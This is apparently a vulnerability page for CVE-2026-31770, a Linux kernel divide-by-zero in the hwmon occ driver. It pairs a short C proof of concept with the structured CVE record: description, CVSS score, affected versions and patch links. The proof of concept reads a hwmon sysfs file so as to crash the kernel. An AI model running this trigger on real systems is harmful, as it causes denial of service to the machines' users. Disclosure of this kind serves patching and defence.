CVE-2026-31770

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> // PoC for CVE-2026-31770: Division by zero in occ_show_power_1 // This PoC attempts to trigger the kernel crash by reading the sensor file. // Note: This requires the vulnerable hardware/driver state (update_tag == 0). int main() { const char *device_path = "/sys/class/hwmon/hwmonX/power1_average"; // Path may vary int fd; char buffer[32]; printf("Attempting to read from %s to trigger the vulnerability...\n", device_path); // Open the hwmon device file fd = open(device_path, O_RDONLY); if (fd < 0) { perror("Failed to open device file"); return 1; } // Trigger the read operation which calls occ_show_power_1() // If update_tag is 0, the kernel will crash here ssize_t bytes_read = read(fd, buffer, sizeof(buffer) - 1); if (bytes_read < 0) { perror("Read failed"); } else { buffer[bytes_read] = '\0'; printf("Read successful (Vulnerability not triggered or already patched): %s\n", buffer); } close(fd); return 0; }

{"cve": {"id": "CVE-2026-31770", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:40.200", "lastModified": "2026-05-11T17:58:07.823", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nhwmon: (occ) Fix division by zero in occ_show_power_1()\n\nIn occ_show_power_1() case 1, the accumulator is divided by\nupdate_tag without checking for zero. If no samples have been\ncollected yet (e.g. during early boot when the sensor block is\nincluded but hasn't been updated), update_tag is zero, causing\na kernel divide-by-zero crash.\n\nThe 2019 fix in commit 211186cae14d (\"hwmon: (occ) Fix division by\nzero issue\") only addressed occ_get_powr_avg() used by\nocc_show_power_2() and occ_show_power_a0(). This separate code\npath in occ_show_power_1() was missed.\n\nFix this by reusing the existing occ_get_powr_avg() helper, which\nalready handles the zero-sample case and uses mul_u64_u32_div()\nto multiply before dividing for better precision. Move the helper\nabove occ_show_power_1() so it is visible at the call site.\n\n[groeck: Fix alignment problems reported by checkpatch]"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-369"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0", "versionEndExcluding": "5.10.253", "matchCriteriaId": "A58C0269-40CC-43D7-8F8A-B2C38025D165"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.168", "matchCriteriaId": "E2DDDCA1-6DAB-4018-B920-8F045DDD8D3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.134", "matchCriteriaId": "F56F925B-BAF8-4F4B-B62F-1496AF19A307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "6EF80433-B33B-43C5-8E64-0FA7B8DCE1BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/243d55bd3f08cb15eee9d63f4716d4d4cdd760f5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/2502684b9e835de9a992ec47c3e6c6faabe3858d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/37ae8fadc74ed68e5bc364ffd17746d88e449ae3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/39e2a5bf970402a8530a319cf06122e216ba57b8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/53e6175756b8c474b6247bbcea0aad3d68357475", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06 ... 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